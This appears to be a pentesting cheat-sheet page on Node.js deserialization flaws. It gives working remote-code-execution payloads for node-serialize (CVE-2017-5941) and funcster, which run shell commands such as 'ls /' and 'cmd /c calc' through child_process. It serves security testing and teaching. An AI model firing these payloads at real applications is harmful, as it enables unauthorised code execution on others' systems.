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56 lines
2.1 KiB
Markdown
56 lines
2.1 KiB
Markdown
# Node Deserialization
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> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
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## Summary
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* [Methodology](#methodology)
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* [node-serialize](#node-serialize)
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* [funcster](#funcster)
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* [References](#references)
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## Methodology
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* In Node source code, look for:
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* `node-serialize`
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* `serialize-to-js`
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* `funcster`
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### node-serialize
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> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
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1. Generate a serialized payload
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```js
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var y = {
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rce : function(){
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require('child_process').exec('ls /', function(error,
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stdout, stderr) { console.log(stdout) });
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},
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}
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var serialize = require('node-serialize');
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console.log("Serialized: \n" + serialize.serialize(y));
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```
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2. Add bracket `()` to force the execution
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```js
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{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
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```
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3. Send the payload
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### funcster
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```js
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{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
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```
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## References
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- [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
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- [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
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- [NodeJS Deserialization - gonczor - January 8, 2020](https://blacksheephacks.pl/nodejs-deserialization/) |